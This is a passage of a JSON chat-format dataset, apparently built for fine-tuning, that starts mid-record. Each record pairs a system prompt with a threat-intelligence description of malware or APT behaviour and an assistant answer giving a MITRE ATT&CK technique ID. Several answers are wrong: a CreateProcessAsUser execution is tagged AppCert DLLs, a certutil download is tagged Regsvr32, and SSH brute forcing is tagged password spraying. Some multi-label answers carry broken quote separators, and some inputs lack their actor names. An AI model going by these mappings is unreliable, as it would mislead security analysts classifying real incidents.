                "content": "When loaded, the FoggyWeb backdoor (originally named Microsoft.IdentityServer.WebExtension.dll by its developer) functions as a passive and persistent backdoor that allows abuse of the Security Assertion Markup Language (SAML) token. The backdoor configures HTTP listeners for actor-defined URIs that mimic the structure of the legitimate URIs used by the target’s AD FS deployment. The custom listeners passively monitor all incoming HTTP GET and POST requests sent to the AD FS server from the intranet/internet and intercept HTTP requests that match the custom URI patterns defined by the actor. This version of FoggyWeb configures listeners for the following hardcoded URI patterns (which might vary per target"
            },
            {
                "role": "assistant",
                "content": "T1550 - Use Alternate Authentication Material', 'T1040 - Network Sniffing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FunnyDream can use WMI to open a Windows command shell on a remote machine."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "When the Duqu command and control is operating over HTTP or HTTPS, Duqu uploads data to its controller by appending it to a blank JPG file."
            },
            {
                "role": "assistant",
                "content": "T1001.002 - Data Obfuscation via Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "GrimAgent has the ability to download and execute additional payloads."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "InvisiMole can enumerate Registry values, keys, and data."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After all this, if the malware successfully discovers a viable target and is able to gain access through SSH credential brute forcing, the malware will be able to begin installation of the cryptocurrency miner. Linux Rabbit attempts to install both “CNRig” and “CoinHive” Monero miners onto the machine, but only one will actually successfully install depending on what type of architecture the machine is. If the machine is a x86-bit, it will install CNRig Monero miner and if the machine is an ARM/MISP, it will install CoinHive. If the infected machine is a web server, the malware will inject CoinHive script tags into every HTML file, so that even visitors of the site/server are also infected with the cryptocurrency miner. Linux Rabbit is able to connect to GitHub and receive updates from the threat actors. It also has a killswitch built-in. It is able to detect other miners already on a target machine and delete them from the machine during the installation of its own miner"
            },
            {
                "role": "assistant",
                "content": "T1110.003 - Brute Force: Password Spraying"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "It is classified by NTT as a variant of the infamous TrickBot malware, which uses DNS tunneling to stealthily communicate with C2 servers. Though this variant was first discovered in October 2019, there is evidence that Anchor_DNS was used as far back as March 2019"
            },
            {
                "role": "assistant",
                "content": "T1071.004 - Application Layer Protocol: DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Most modifications of Trojan.Win32.Waldek are distributed via removable media and include functionality to collect information on infected systems and send it to the attackers. Based on the system data collected, the attackers create packages of additional malware to be installed on the infected system using the relevant Waldek functionality."
            },
            {
                "role": "assistant",
                "content": "T1025 - Data from Removable Media', 'T1543 - Create or Modify System Process', 'T1005 - Data from Local System', 'T1091 - Replication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses  to inject shellcode into PowerShell."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT18 uses cmd.exe to execute commands on the victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Hildegard has used the BOtB tool which exploits CVE-2019-5736."
            },
            {
                "role": "assistant",
                "content": "T1068 - Exploitation for Privilege Escalation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The following analytic detects a powershell script that enumerates the camera mounted to the targeted host."
            },
            {
                "role": "assistant",
                "content": "T1592.001 - Gather Victim Host Information: Hardware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has conducted port scans on a host."
            },
            {
                "role": "assistant",
                "content": "T1046 - Network Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "KONNI used PowerShell to download and execute a specific 64-bit version of the malware."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Gelsemium has the ability to use DNS in communication with C2."
            },
            {
                "role": "assistant",
                "content": "T1071.004 - Application Layer Protocol: DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "stages data prior to exfiltration in multi-part archives, often saved in the Recycle Bin."
            },
            {
                "role": "assistant",
                "content": "T1074 - Data Staged"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "File Indicators Samples Observed from Spear Phishing Messages Above    Filename Chinas_Arctic_Dream.doc   File Size 6587812 bytes   MD5 598eeb6a18233023f3551097aa49b083   SHA1 e9a46966f93fe15c22636a5033c61c725add8fa5   Notes Malicious RTF document that exploits CVE-2017-8570 and drops QuasarRAT file qrat.exe"
            },
            {
                "role": "assistant",
                "content": "T1036 - Masquerading', 'T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PoshC2 contains an implementation of Mimikatz to gather credentials from memory."
            },
            {
                "role": "assistant",
                "content": "T1003.001 - OS Credential Dumping: LSASS Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The Saint Bot loader has used API calls to spawn `MSBuild.exe` in a suspended state before injecting the decrypted Saint Bot binary into it."
            },
            {
                "role": "assistant",
                "content": "T1055.012 - Process Injection: Process Hollowing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Kevin can download files to the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Anchor can execute payloads via shell scripting."
            },
            {
                "role": "assistant",
                "content": "T1059.004 - Command and Scripting Interpreter: Bash"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT38 has attempted to get detailed information about a compromised host, including the operating system, version, patches, hotfixes, and service packs."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "collected system architecture information.  used an HTTP malware variant and a Port 22 malware variant to gather the hostname and CPU information from the victim’s machine."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "lists the running processes."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Exaramel for Linux uses HTTPS for C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "LockBit 2.0 is known for its extortion tactics, encrypting devices and demanding a ransom"
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact', 'T1588.001 - Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "On January 8, 2018, Unit 42 observed the OilRig threat group carry out an attack on an insurance agency based in the Middle East. In both attacks, the OilRig group attempted to deliver a new Trojan that we are tracking as OopsIE. The January 8 attack used a variant of the ThreeDollars delivery document, which we identified as part of the OilRig toolset based on attacks that occurred in August 2017. Instead, this attack involved delivering the OopsIE Trojan directly to the victim, most likely using a link in a spear phishing email. Interestingly, the targeted organization in the January 16 attack had already been targeted by the OilRig group a year ago on January 2017. This repeat attack may suggest that the adversaries have lost their foothold in the targeted organization, or that it may be considered a high value target. A New Attack On January 8, 2018, the OilRig threat group sent an email with the subject Beirut Insurance Seminar Invitation to an insurance agency in the Middle East. In the January 16, 2018 attack, we observed OilRig attacking an organization it previously targeted in January 2017. In this case, the ThreeDollars delivery document was not used and instead an attempt was made to deliver the OopsIE Trojan directly to the targeted organization, likely via a link within an email. As we have observed throughout our tracking of the OilRig group, adopting proven tactics has been a common behavior over time"
            },
            {
                "role": "assistant",
                "content": "T1204.001 - Malicious Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Check for Skype connectivity - Download and install Skype - Encoded communication with its C2 - Execute commands sent from the C2 server - Get multifactor authentication settings - Get the currently logged on user and OS version"
            },
            {
                "role": "assistant",
                "content": "T1132.001 - Data Encoding: Standard Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "MobileOrder has a command to download a file from the C2 server to the victim mobile device's SD card."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Grandoreiro can list installed security products including the Trusteer and Diebold Warsaw GAS Tecnologia online banking protections."
            },
            {
                "role": "assistant",
                "content": "T1518.001 - Software Discovery: Security Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has used net.exe in a script with net accounts /domain to find the password policy of a domain."
            },
            {
                "role": "assistant",
                "content": "T1201 - Password Policy Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT29 used \"cmd.exe\" to execute commands on remote machines."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "uses mshta.exe to load its program and files."
            },
            {
                "role": "assistant",
                "content": "T1218.005 - Signed Binary Proxy Execution: Mshta"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "HyperStack can connect to the IPC$ share on remote machines."
            },
            {
                "role": "assistant",
                "content": "T1559 - Inter-Process Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT28 has split archived exfiltration files into chunks smaller than 1MB."
            },
            {
                "role": "assistant",
                "content": "T1030 - Data Transfer Size Limits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Aria-body has the ability to launch files using \"ShellExecute\"."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "has attempted to get victims to open malicious Microsoft Word attachment sent via spearphishing."
            },
            {
                "role": "assistant",
                "content": "T1204 - User Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Some Reaver variants use HTTP for C2."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Action RAT can use HTTP to communicate with C2 servers."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "GoldenSpy can execute remote commands via the command-line interface."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "8 Making a copy of certutil and regsvr32 Certutil.exe (a copy is renamed to certis.exe by the trojan) is normally used in a windows environment to manage certificates, but in this case, it is used by the second stylesheet to download the malware payloads"
            },
            {
                "role": "assistant",
                "content": "T1218.010 - Signed Binary Proxy Execution: Regsvr32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "used various social media channels to spearphish victims."
            },
            {
                "role": "assistant",
                "content": "T1566.003 - Spearphishing via Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "FunnyDream has compressed collected files with zLib and encrypted them using an XOR operation with the string key from the command line or `qwerasdf` if the command line argument doesn’t contain the key. File names are obfuscated using XOR with the same key as the compressed file content."
            },
            {
                "role": "assistant",
                "content": "T1560.003 - Archive via Custom Method"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Dragonfly has exploited a Windows Netlogon vulnerability (CVE-2020-1472) to obtain access to Windows Active Directory servers."
            },
            {
                "role": "assistant",
                "content": "T1210 - Exploitation of Remote Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "(To bypass UAC) configurable setting for the process to abuse  Other than these, new coding algorithm has been introduced"
            },
            {
                "role": "assistant",
                "content": "T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "GeminiDuke collects information from the victim, including installed drivers, programs previously executed by users, programs and services configured to automatically run at startup, files and folders present in any user's home folder, files and folders present in any user's My Documents, programs installed to the Program Files folder, and recently accessed files, folders, and programs."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "When receiving HTTP commands, the WellMess server is setup to receive POST requests that contain RC6 encrypted cookies. The server decrypts the cookies using a hardcoded RC6 key and expects the decrypted data to contain no more than four tags"
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information', 'T1573.001 - Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Gallmaker sent emails with malicious Microsoft Office documents attached."
            },
            {
                "role": "assistant",
                "content": "T1566.001 - Phishing: Spearphishing Attachment"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "For example, From <COMPUTER-NAME> (01-04 11-40-02).txt  All the text files are now packed into the archive temp.zip (%temp%\\temp.zip) zip is Base64 encoded (with a custom key, same as that used in the malicious document) and then copied to post.txt txt is uploaded to the control server  Additional Commands and Capabilities The service-based DLL implant traverses to the /htdocs/ directory on the FTP server and looks for any files with the keywords:  TO EVERYONE: Commands issued to all infected endpoints TO <COMPUTERNAME>: Commands issued to endpoints matching the ComputerName  The following commands are supported by the malware implant:  cmd /c pull <filename>: Adds filename to temp.zip, Base64 encodes, and uploads to control server cmd /c chip <string>: Deletes current ipnet.ini config file"
            },
            {
                "role": "assistant",
                "content": "T1059 - Command and Scripting Interpreter', 'T1560 - Archive Collected Data', 'T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Gazer can establish persistence by creating a scheduled task."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "UNC2452 used \"cmd.exe\" to execute commands on remote machines."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Audit ISAPI filters and search for web shells on Microsoft Exchange servers"
            },
            {
                "role": "assistant",
                "content": "T1505.003 - Server Software Component: Web Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Koadic has used scheduled tasks to add persistence."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "PLAINTEE uses \"reg add\" to add a Registry Run key for persistence."
            },
            {
                "role": "assistant",
                "content": "T1112 - Modify Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "service-based DLL implant can execute a downloaded file with parameters specified using CreateProcessAsUser."
            },
            {
                "role": "assistant",
                "content": "T1546.009 - Event Triggered Execution: AppCert DLLs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Empire contains modules that can discover and exploit unquoted path vulnerabilities."
            },
            {
                "role": "assistant",
                "content": "T1574.009 - Hijack Execution Flow: Path Interception by Unquoted Path"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "actors have been known to use the Sticky Keys replacement within RDP sessions to obtain persistence."
            },
            {
                "role": "assistant",
                "content": "T1546.008 - Event Triggered Execution: Accessibility Features"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "LAPSUS$ has accessed internet-facing identity providers such as Azure Active Directory and Okta to target specific organizations."
            },
            {
                "role": "assistant",
                "content": "T1199 - Trusted Relationship"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Checking for specific keyboards and languages is a known evasion tactic meant to avoid running on analysis systems not configured, as the actor’s targeted victim would be configured"
            },
            {
                "role": "assistant",
                "content": "T1614.001 - System Location Discovery: System Language Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT29 has exploited CVE-2019-19781 for Citrix, CVE-2019-11510 for Pulse Secure VPNs, CVE-2018-13379 for FortiGate VPNs, and CVE-2019-9670 in Zimbra software to gain access. They have also exploited CVE-2020-0688 against the Microsoft Exchange Control Panel to regain access to a network."
            },
            {
                "role": "assistant",
                "content": "T1190 - Exploit Public-Facing Application"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "WellMess can identify domain group membership for the current user."
            },
            {
                "role": "assistant",
                "content": "T1069.002 - Permission Groups Discovery: Domain Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CrackMapExec can pass the hash to authenticate via SMB."
            },
            {
                "role": "assistant",
                "content": "T1550.002 - Use Alternate Authentication Material: Pass the Hash"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "CreepySnail can use stolen credentials to authenticate on target networks."
            },
            {
                "role": "assistant",
                "content": "T1078.002 - Domain Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Grandoreiro has the ability to use HTTP in C2 communications."
            },
            {
                "role": "assistant",
                "content": "T1071.001 - Application Layer Protocol: Web Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "As we mentioned, the Bad Rabbit ransomware encrypts a victim’s files and disk. Files are encrypted with the following algorithms"
            },
            {
                "role": "assistant",
                "content": "T1486 - Data Encrypted for Impact"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "For FunnyDream, the threat actors used a modified version of the open source PcShare remote administration tool."
            },
            {
                "role": "assistant",
                "content": "T1588.002 - Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Green Lambert has encrypted strings."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Once decrypted, we are provided with a large list of strings, as seen below (note that the data has been truncated for brevity):  Figure 12 Decrypted strings from embedded BMP file After these strings are decrypted, the malware will load a series of Microsoft Windows API calls to be used later on"
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Exaramel for Linux uses RC4 for encrypting the configuration."
            },
            {
                "role": "assistant",
                "content": "T1027 - Obfuscated Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "(Source: Dell SecureWorks) In SWCs analyzed by CTU researchers, the threat actors added the Dean Edwards packed JavaScript code shown in Figure 9 to the end of a legitimate website's menu page"
            },
            {
                "role": "assistant",
                "content": "T1027.002 - Obfuscated Files or Information: Software Packing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
